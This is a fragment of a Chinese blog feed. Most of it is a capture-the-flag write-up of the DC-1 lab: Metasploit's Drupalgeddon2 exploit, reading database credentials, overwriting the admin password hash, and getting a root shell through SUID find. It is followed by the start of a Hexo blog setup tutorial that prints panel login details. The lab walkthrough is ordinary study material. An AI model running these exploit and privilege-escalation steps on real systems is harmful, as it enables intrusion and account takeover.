class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">msfconsole</span><br><span class="line">search  drupal</span><br><span class="line">use exploit/unix/webapp/drupal_coder_exec （不行的话换）</span><br><span class="line">show options</span><br><span class="line"><span class="built_in">set</span> RHOSTS 192.168.92.134</span><br><span class="line">run</span><br></pre></td></tr></table></figure></div><p>第一个不行换第二个</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">search  drupal</span><br><span class="line">use exploit/unix/webapp/drupal_drupalgeddon2</span><br><span class="line"><span class="built_in">set</span> RHOSTS 192.168.92.134</span><br><span class="line">run</span><br></pre></td></tr></table></figure></div><p>这一个可以<br>meterpreter &gt;  代表成功</p><p>查看基本信息：</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sysinfo</span><br></pre></td></tr></table></figure></div><p>进入shell：</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">shell</span><br></pre></td></tr></table></figure></div><p>进入交互shell</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">python -c <span class="string">&#x27;import pty;pty.spawn(&quot;/bin/bash&quot;)&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">whoami</span></span><br><span class="line"><span class="built_in">ls</span></span><br></pre></td></tr></table></figure></div><p>看见flag1.txt</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> flag1.txt</span><br></pre></td></tr></table></figure></div><p>​Every good CMS needs a config file - and so do you.</p><p>百度搜一下drupal配置文件位置<br>名称为settings.php，默认sites&#x2F;default&#x2F;files<br>直接从根目录查找</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">find / -name settings.php</span><br></pre></td></tr></table></figure></div><p>返回&#x2F;var&#x2F;www&#x2F;sites&#x2F;default&#x2F;settings.php</p><p>查看一下配置文件：</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> /var/www/sites/default/settings.php</span><br><span class="line">vim /var/www/sites/default/settings.php</span><br></pre></td></tr></table></figure></div><p>没有vim命令，cat大致看一下</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">/**</span><br><span class="line"> *</span><br><span class="line"></span><br><span class="line"> * flag2</span><br><span class="line"> * Brute force and dictionary attacks aren<span class="string">&#x27;t the</span></span><br><span class="line"><span class="string"> * only ways to gain access (and you WILL need access).</span></span><br><span class="line"><span class="string"> * What can you do with these credentials?</span></span><br><span class="line"><span class="string">   *</span></span><br><span class="line"><span class="string">    */</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">$databases = array (</span></span><br><span class="line"><span class="string">  &#x27;</span>default<span class="string">&#x27; =&gt; </span></span><br><span class="line"><span class="string">  array (</span></span><br><span class="line"><span class="string">    &#x27;</span>default<span class="string">&#x27; =&gt; </span></span><br><span class="line"><span class="string">    array (</span></span><br><span class="line"><span class="string">      &#x27;</span>database<span class="string">&#x27; =&gt; &#x27;</span>drupaldb<span class="string">&#x27;,</span></span><br><span class="line"><span class="string">      &#x27;</span>username<span class="string">&#x27; =&gt; &#x27;</span>dbuser<span class="string">&#x27;,</span></span><br><span class="line"><span class="string">      &#x27;</span>password<span class="string">&#x27; =&gt; &#x27;</span>R0ck3t<span class="string">&#x27;,</span></span><br><span class="line"><span class="string">      &#x27;</span>host<span class="string">&#x27; =&gt; &#x27;</span>localhost<span class="string">&#x27;,</span></span><br><span class="line"><span class="string">      &#x27;</span>port<span class="string">&#x27; =&gt; &#x27;</span><span class="string">&#x27;,</span></span><br><span class="line"><span class="string">      &#x27;</span>driver<span class="string">&#x27; =&gt; &#x27;</span>mysql<span class="string">&#x27;,</span></span><br><span class="line"><span class="string">      &#x27;</span>prefix<span class="string">&#x27; =&gt; &#x27;</span><span class="string">&#x27;,</span></span><br><span class="line"><span class="string">    ),</span></span><br><span class="line"><span class="string">  ),</span></span><br><span class="line"><span class="string">);</span></span><br></pre></td></tr></table></figure></div><p>找到flag2，并且找到数据库信息，mysql数据库drupaldb数据库 账号 dbuser，密码 R0ck3t<br>mysql登录：</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">mysql -u dbuser -p</span><br><span class="line">R0ck3t</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">show databases;</span><br><span class="line">use drupaldb;</span><br><span class="line">show tables;</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select * from <span class="built_in">users</span>\G;</span><br></pre></td></tr></table></figure></div><p>&#x2F;G 的作用是将查到的结构旋转90度变成纵向：<br>可以看见admin的密码加密了</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">name: admin</span><br><span class="line">pass: $S<span class="variable">$DRsy84V8nqpNlLHjKnJb4</span>./6IGFCSrfGofxvWAa3NJadpsXRRLCC</span><br><span class="line">mail: admin@example.com</span><br></pre></td></tr></table></figure></div><p>可能文件中有加密的文件，find找一下</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">find  / -name <span class="string">&quot;*hash*&quot;</span></span><br><span class="line">find  . -name <span class="string">&quot;*hash*&quot;</span></span><br></pre></td></tr></table></figure></div><p>.&#x2F;scripts&#x2F;password-hash.sh</p><p>可以看一下</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> ./scripts/password-hash.sh</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">/**</span><br><span class="line"></span><br><span class="line">Drupal <span class="built_in">hash</span> script - to generate a <span class="built_in">hash</span> from a plaintext password</span><br><span class="line">*</span><br><span class="line"></span><br><span class="line">Check <span class="keyword">for</span> your PHP interpreter - on Windows you<span class="string">&#x27;ll probably have to</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">replace line 1 with</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">#!c:/program files/php/php.exe</span></span><br><span class="line"><span class="string"> *</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">@param password1 [password2 [password3 ...]]</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Plain-text passwords in quotes (or with spaces backslash escaped).</span></span><br><span class="line"><span class="string">*/</span></span><br></pre></td></tr></table></figure></div><p>可以看到注释写的意思是php程序<br>这样我们可以生成admin的密码，接着修改表，最后就能登陆了</p><p>生成admin密码admin的hash：</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">php  ./scripts/password-hash.sh admin</span><br><span class="line"></span><br><span class="line">password: admin                 <span class="built_in">hash</span>: $S<span class="variable">$Dgzz4JTraJWh0iYjZ6jlSGLzS5KEzNEep</span>/U5LWiD6hpRivaSJhWz</span><br></pre></td></tr></table></figure></div><p>进入数据库，修改表</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">mysql -u dbuser -p</span><br><span class="line">R0ck3t</span><br><span class="line"></span><br><span class="line">show databases;</span><br><span class="line">use drupaldb;</span><br><span class="line">show tables;</span><br><span class="line"></span><br><span class="line">update <span class="built_in">users</span> <span class="built_in">set</span> pass=<span class="string">&#x27;$S$Dgzz4JTraJWh0iYjZ6jlSGLzS5KEzNEep/U5LWiD6hpRivaSJhWz&#x27;</span> <span class="built_in">where</span> name=<span class="string">&#x27;admin&#x27;</span>;</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Query OK, 1 row affected (0.01 sec)</span><br><span class="line">Rows matched: 1  Changed: 1  Warnings: 0</span><br></pre></td></tr></table></figure></div><p>成功，我们可以登陆网站查看<br>从Dashboard看到Recent content中有flag3</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Special PERMS will <span class="built_in">help</span> FIND the passwd - but you<span class="string">&#x27;ll need to -exec that command to work out how to get what&#x27;</span>s <span class="keyword">in</span> the shadow.</span><br></pre></td></tr></table></figure></div><p>shadow文件解释：</p><p>&#x2F;etc&#x2F;shadow 文件，用于存储 Linux 系统中用户的密码信息，又称为“影子文件”。</p><p>前面介绍了 &#x2F;etc&#x2F;passwd 文件，由于该文件允许所有用户读取，易导致用户密码泄露，因此 Linux 系统将用户的密码信息从 &#x2F;etc&#x2F;passwd 文件中分离出来，并单独放到了此文件中。</p><p>&#x2F;etc&#x2F;shadow 文件只有 root 用户拥有读权限，其他用户没有任何权限，这样就保证了用户密码的安全性。</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">exit</span> 退出mysql</span><br><span class="line"><span class="built_in">cat</span> /etc/passwd</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">root:x:0:0:root:/root:/bin/bash</span><br><span class="line">daemon:x:1:1:daemon:/usr/sbin:/bin/sh</span><br><span class="line">bin:x:2:2:bin:/bin:/bin/sh</span><br><span class="line">sys:x:3:3:sys:/dev:/bin/sh</span><br><span class="line"><span class="built_in">sync</span>:x:4:65534:<span class="built_in">sync</span>:/bin:/bin/sync</span><br><span class="line">games:x:5:60:games:/usr/games:/bin/sh</span><br><span class="line">man:x:6:12:man:/var/cache/man:/bin/sh</span><br><span class="line">lp:x:7:7:lp:/var/spool/lpd:/bin/sh</span><br><span class="line">mail:x:8:8:mail:/var/mail:/bin/sh</span><br><span class="line">news:x:9:9:news:/var/spool/news:/bin/sh</span><br><span class="line">uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh</span><br><span class="line">proxy:x:13:13:proxy:/bin:/bin/sh</span><br><span class="line">www-data:x:33:33:www-data:/var/www:/bin/sh</span><br><span class="line">backup:x:34:34:backup:/var/backups:/bin/sh</span><br><span class="line">list:x:38:38:Mailing List Manager:/var/list:/bin/sh</span><br><span class="line">irc:x:39:39:ircd:/var/run/ircd:/bin/sh</span><br><span class="line">gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh</span><br><span class="line">nobody:x:65534:65534:nobody:/nonexistent:/bin/sh</span><br><span class="line">libuuid:x:100:101::/var/lib/libuuid:/bin/sh</span><br><span class="line">Debian-exim:x:101:104::/var/spool/exim4:/bin/false</span><br><span class="line">statd:x:102:65534::/var/lib/nfs:/bin/false</span><br><span class="line">messagebus:x:103:107::/var/run/dbus:/bin/false</span><br><span class="line">sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin</span><br><span class="line">mysql:x:105:109:MySQL Server,,,:/nonexistent:/bin/false</span><br><span class="line">flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash</span><br></pre></td></tr></table></figure></div><p>可以看到flag4用户，不知道flag4密码，su flag4失败，可以去看看flag4用户目录是否有权限访问：</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ls</span> /home/</span><br><span class="line"><span class="built_in">ls</span> /home/flag4/</span><br><span class="line"><span class="built_in">cat</span> /home/flag4/flag4.txt</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">内容：</span><br><span class="line">Can you use this same method to find or access the flag <span class="keyword">in</span> root?</span><br><span class="line"></span><br><span class="line">Probably. But perhaps it<span class="string">&#x27;s not that easy.  Or maybe it is?</span></span><br></pre></td></tr></table></figure></div><p>说明root里面还有个flag<br>ls &#x2F;root&#x2F; 显然是不行，没有权限</p><p>上面说了&#x2F;etc&#x2F;shadow文件存放密码，cat &#x2F;etc&#x2F;shadow  也没有权限</p><p>这样的话我们必须的把权限提升，SUID是Linux的一种权限机制，具有这种权限的文件会在其执行时，使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限，那么就可以利用系统中的二进制文件和工具来进行root提权。</p><p>已知的可用来提权的linux可行性的文件列表如下：<br>nmap,vim,find,bash,more,less,nano,cp<br>查找系统上运行的所有SUID可执行文件<br>不同系统适用于不同的命令</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">find / -perm -4000 -<span class="built_in">type</span> f -<span class="built_in">exec</span> <span class="built_in">ls</span> -la &#123;&#125; 2&gt;/dev/null \;</span><br><span class="line"></span><br><span class="line">find / -user root -perm -4000-print2&gt;/dev/null</span><br><span class="line"></span><br><span class="line">find / -user root -perm -4000-<span class="built_in">exec</span> <span class="built_in">ls</span> -ldb &#123;&#125; \;</span><br></pre></td></tr></table></figure></div><p>-type f: 只查找普通文件，排除目录等其他类型的文件<br>-exec ls -la {} 2&gt;&#x2F;dev&#x2F;null ;: 对查找到的文件执行 ls -la 命令<br>2&gt;&#x2F;dev&#x2F;null 表示将标准错误输出重定向到 &#x2F;dev&#x2F;null，以避免显示不必要的错误信息<br>-perm匹配权限</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">-rwsr-xr-x 1 root root 88744 Dec 10  2012 /bin/mount</span><br><span class="line">-rwsr-xr-x 1 root root 31104 Apr 13  2011 /bin/ping</span><br><span class="line">-rwsr-xr-x 1 root root 35200 Feb 27  2017 /bin/su</span><br><span class="line">-rwsr-xr-x 1 root root 35252 Apr 13  2011 /bin/ping6</span><br><span class="line">-rwsr-xr-x 1 root root 67704 Dec 10  2012 /bin/umount</span><br><span class="line">-rwsr-sr-x 1 daemon daemon 50652 Oct  4  2014 /usr/bin/at</span><br><span class="line">-rwsr-xr-x 1 root root 35892 Feb 27  2017 /usr/bin/chsh</span><br><span class="line">-rwsr-xr-x 1 root root 45396 Feb 27  2017 /usr/bin/passwd</span><br><span class="line">-rwsr-xr-x 1 root root 30880 Feb 27  2017 /usr/bin/newgrp</span><br><span class="line">-rwsr-xr-x 1 root root 44564 Feb 27  2017 /usr/bin/chfn</span><br><span class="line">-rwsr-xr-x 1 root root 66196 Feb 27  2017 /usr/bin/gpasswd</span><br><span class="line">-rwsr-sr-x 1 root mail 83912 Nov 18  2017 /usr/bin/procmail</span><br><span class="line">-rwsr-xr-x 1 root root 162424 Jan  6  2012 /usr/bin/find</span><br><span class="line">-rwsr-xr-x 1 root root 937564 Feb 11  2018 /usr/sbin/exim4</span><br><span class="line">-rwsr-xr-x 1 root root 9660 Jun 20  2017 /usr/lib/pt_chown</span><br><span class="line">-rwsr-xr-x 1 root root 248036 Jan 27  2018 /usr/lib/openssh/ssh-keysign</span><br><span class="line">-rwsr-xr-x 1 root root 5412 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device</span><br><span class="line">-rwsr-xr-- 1 root messagebus 321692 Feb 10  2015 /usr/lib/dbus-1.0/dbus-daemon-launch-helper</span><br><span class="line">-rwsr-xr-x 1 root root 84532 May 22  2013 /sbin/mount.nfs</span><br></pre></td></tr></table></figure></div><p>找到 -rwsr-xr-x 1 root root 162424 Jan  6  2012 &#x2F;usr&#x2F;bin&#x2F;find，根据查找结果可以看到&#x2F;usr&#x2F;bin&#x2F;find被赋予了suid权限，而他的所有者为root，我们可以这样获取一个root权限的shell：</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">find /etc/passwd -<span class="built_in">exec</span> /bin/bash -p \;</span><br><span class="line"><span class="built_in">whoami</span></span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">返回</span><br><span class="line">root</span><br></pre></td></tr></table></figure></div><p>成功提权</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ls</span> /root/</span><br><span class="line">thefinalflag.txt</span><br><span class="line"></span><br><span class="line"><span class="built_in">cat</span> /root/thefinalflag.txt</span><br><span class="line">Well <span class="keyword">done</span>!!!!</span><br><span class="line"></span><br><span class="line">Hopefully you<span class="string">&#x27;ve enjoyed this and learned some new skills.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">You can let me know what you thought of this little journey</span></span><br><span class="line"><span class="string">by contacting me via Twitter - @DCAU7</span></span><br></pre></td></tr></table></figure></div>]]></content>
    
    
      
      
    <summary type="html">&lt;div class=&quot;highlight-container&quot; data-rel=&quot;Plaintext&quot;&gt;&lt;figure class=&quot;iseeu highlight plaintext&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span cla</summary>
      
    
    
    
    
    <category term="渗透测试" scheme="http://example.com/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    
  </entry>
  
  <entry>
    <title>git安装博客</title>
    <link href="http://example.com/2024/11/27/git%E5%AE%89%E8%A3%85%E5%8D%9A%E5%AE%A2/"/>
    <id>http://example.com/2024/11/27/git%E5%AE%89%E8%A3%85%E5%8D%9A%E5%AE%A2/</id>
    <published>2024-11-27T11:26:39.000Z</published>
    <updated>2024-12-07T07:30:36.052Z</updated>
    
    <content type="html"><![CDATA[<h1 id="一、准备工作"><a href="#一、准备工作" class="headerlink" title="一、准备工作"></a>一、准备工作</h1><h2 id="1-GitHub账号"><a href="#1-GitHub账号" class="headerlink" title="1.GitHub账号"></a>1.GitHub账号</h2><p>需要有一个GitHub账号，没有的话到 官网 申请一个。</p><p>注册很简单，不懂的话可以参考 GitHub申请账号</p><h2 id="2-安装Git"><a href="#2-安装Git" class="headerlink" title="2.安装Git"></a>2.安装Git</h2><p>在自己电脑上安装好Git，hexo部署到GitHub时要用。</p><p>网上找篇教程或者参考 Git安装(Windows)</p><p><a class="link"   href="https://zhuanlan.zhihu.com/p/607970211" >https://zhuanlan.zhihu.com/p/607970211 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h2 id="3-安装NodeJS"><a href="#3-安装NodeJS" class="headerlink" title="3.安装NodeJS"></a>3.安装NodeJS</h2><p>在自己电脑上安装好NodeJS，Hexo是基于NodeJS编写的，所以需要安装NodeJS和npm工具。</p><p>网上找篇教程或者参考 NodeJS安装及配置(Windows)</p><p><a class="link"   href="https://blog.csdn.net/yaorongke/article/details/119084295" >https://blog.csdn.net/yaorongke/article/details/119084295 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>提示：</p><p>若使用npm安装，报错：</p><p>npm ERR! code EPERM</p><p>npm ERR! syscall mkdir</p><p>npm ERR! path E:\blog\node\node_cache_cacache</p><p>npm ERR! errno -4048</p><p>npm ERR! Error: EPERM: operation not permitted, mkdir ‘E:\blog\node\node_cache_cacache’</p><p>npm ERR!  [Error: EPERM: operation not permitted, mkdir ‘E:\blog\node\node_cache_cacache’] {</p><p>npm ERR!  errno: -4048,</p><p>npm ERR!  code: ‘EPERM’,</p><p>npm ERR!  syscall: ‘mkdir’,</p><p>npm ERR!  path: ‘E:\blog\node\node_cache\_cacache’</p><p>npm ERR! }</p><p>npm ERR!</p><p>npm ERR! The operation was rejected by your operating system.</p><p>npm ERR! It’s possible that the file was already in use (by a text editor or antivirus),</p><p>npm ERR! or that you lack permissions to access it.</p><p>npm ERR!</p><p>npm ERR! If you believe this might be a permissions issue, please double-check the</p><p>npm ERR! permissions of the file and its containing directories, or try running</p><p>npm ERR! the command again as root&#x2F;Administrator.</p><p>npm ERR! Log files were not written due to an error writing to the directory: E:\blog\node\node_cache_logs</p><p>npm ERR! You can rerun the command with <code>--loglevel=verbose</code> to see the logs in your terminal</p><h2 id="解决方法："><a href="#解决方法：" class="headerlink" title="解决方法："></a>解决方法：</h2><p>删除.npmrc文件</p><p>该文件在：C:\Users{账户}\下的.npmrc文件，</p><p>一般这种类型的都是默认被隐藏，一定要选择将隐藏取消掉</p><h1 id="二、安装hexo"><a href="#二、安装hexo" class="headerlink" title="二、安装hexo"></a>二、安装hexo</h1><h2 id="1-安装hexo"><a href="#1-安装hexo" class="headerlink" title="1.安装hexo"></a>1.安装hexo</h2><p>npm install -g hexo-cli</p><p>或者</p><p>cnpm install -g hexo-cli</p><p> <img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E5%8D%9A%E5%AE%A2%5Cwps1.jpg"                      alt="img"                ></p><p>安装完成可输入hexo -v查看版本</p><p> <img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E5%8D%9A%E5%AE%A2%5Cwps2.jpg"                      alt="img"                ></p><h2 id="2-初始化hexo，新建存储博客的文件夹"><a href="#2-初始化hexo，新建存储博客的文件夹" class="headerlink" title="2.初始化hexo，新建存储博客的文件夹"></a>2.初始化hexo，新建存储博客的文件夹</h2><p>hexo init myblog</p><p> <img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E5%8D%9A%E5%AE%A2%5Cwps3.jpg"                      alt="img"                ></p><h2 id="3-进入文件夹，安装一下npm"><a href="#3-进入文件夹，安装一下npm" class="headerlink" title="3.进入文件夹，安装一下npm"></a>3.进入文件夹，安装一下npm</h2><p>cd myblog</p><p>npm install</p><p>可以看到我们的hexo站点就已经安装好了，接下来就可以直接启动他了</p><p> <img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E5%8D%9A%E5%AE%A2%5Cwps4.jpg"                      alt="img"                ></p><h2 id="4-启动服务站点"><a href="#4-启动服务站点" class="headerlink" title="4.启动服务站点"></a>4.启动服务站点</h2><p>hexo g </p><p>hexo server</p><p> <img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E5%8D%9A%E5%AE%A2%5Cwps5.jpg"                      alt="img"                ></p><p> <img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E5%8D%9A%E5%AE%A2%5Cwps6.jpg"                      alt="img"                ></p><h2 id="5-在ubuntu服务器上安装宝塔面板"><a href="#5-在ubuntu服务器上安装宝塔面板" class="headerlink" title="5.在ubuntu服务器上安装宝塔面板"></a>5.在ubuntu服务器上安装宝塔面板</h2><p>wget -O install.sh <a class="link"   href="https://download.bt.cn/install/install-ubuntu_6.0.sh" >https://download.bt.cn/install/install-ubuntu_6.0.sh <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> &amp;&amp; sudo bash install.sh ed8484bec</p><p>&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;</p><p>Congratulations! Installed successfully!</p><p>&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;面板账户登录信息&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;</p><p> 外网面板地址: <a class="link"   href="http://121.28.162.183:39994/c22e399f" >http://121.28.162.183:39994/c22e399f <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p> 内网面板地址: <a class="link"   href="http://192.168.111.138:39994/c22e399f" >http://192.168.111.138:39994/c22e399f <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p> username: kqgjldvh</p><p> password: 